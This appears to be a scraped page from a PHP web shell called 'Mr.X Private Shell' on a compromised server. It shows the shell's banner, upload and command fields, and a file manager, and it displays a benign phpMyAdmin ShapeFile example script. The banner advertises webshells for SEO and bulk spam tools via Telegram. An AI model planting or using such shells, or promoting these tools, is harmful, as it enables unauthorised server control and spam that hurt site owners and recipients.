__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

/**
 * phpMyAdmin ShapeFile library
 * <https://github.com/phpmyadmin/shapefile/>.
 *
 * Copyright 2006-2007 Ovidio <ovidio AT users.sourceforge.net>
 * Copyright 2016 - 2017 Michal Čihař <[email protected]>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, you can download one from
 * https://www.gnu.org/copyleft/gpl.html.
 */

use PhpMyAdmin\ShapeFile\ShapeFile;
use PhpMyAdmin\ShapeFile\ShapeRecord;

require_once 'PhpMyAdmin/ShapeFile/autoload.php';

$shp = new ShapeFile(1, [
    'xmin' => 464079.002268,
    'ymin' => 2120153.74792,
    'xmax' => 505213.52849,
    'ymax' => 2163205.70036,
]);

$record0 = new ShapeRecord(1);
$record0->addPoint([
    'x' => 482131.764567,
    'y' => 2143634.39608,
]);

$record1 = new ShapeRecord(1);
$record1->addPoint([
    'x' => 472131.764567,
    'y' => 2143634.39608,
]);

$record2 = new ShapeRecord(1);
$record2->addPoint([
    'x' => 492131.764567,
    'y' => 2143634.39608,
]);

$shp->addRecord($record0);
$shp->addRecord($record1);
$shp->addRecord($record2);

$shp->setDBFHeader(
    [
        [
            'ID',
            'N',
            8,
            0,
        ],
        [
            'DESC',
            'C',
            50,
            0,
        ],
    ]
);

$shp->records[0]->dbfData['ID'] = '1';
$shp->records[0]->dbfData['DESC'] = 'AAAAAAAAA';

$shp->records[1]->dbfData['ID'] = '2';
$shp->records[1]->dbfData['DESC'] = 'BBBBBBBBBB';

$shp->records[2]->dbfData['ID'] = '3';
$shp->records[2]->dbfData['DESC'] = 'CCCCCCCCCCC';

$shp->saveToFile('../data/new_shape.*');

echo "The ShapeFile was created.<br>\n";
echo 'Return to the <a href="index.php">index</a>.';

Filemanager

Name Type Size Permission Actions
capitals.dbf File 146.79 KB 0644
capitals.shp File 17.93 KB 0644
capitals.shx File 5.19 KB 0644
create_shapefile.php File 2.1 KB 0644
index.php File 683 B 0644
mexico.dbf File 3.94 KB 0644
mexico.shp File 50.71 KB 0644
mexico.shx File 356 B 0644
read.php File 1.66 KB 0644
read_point.php File 986 B 0644
read_polygon.php File 983 B 0644
Filemanager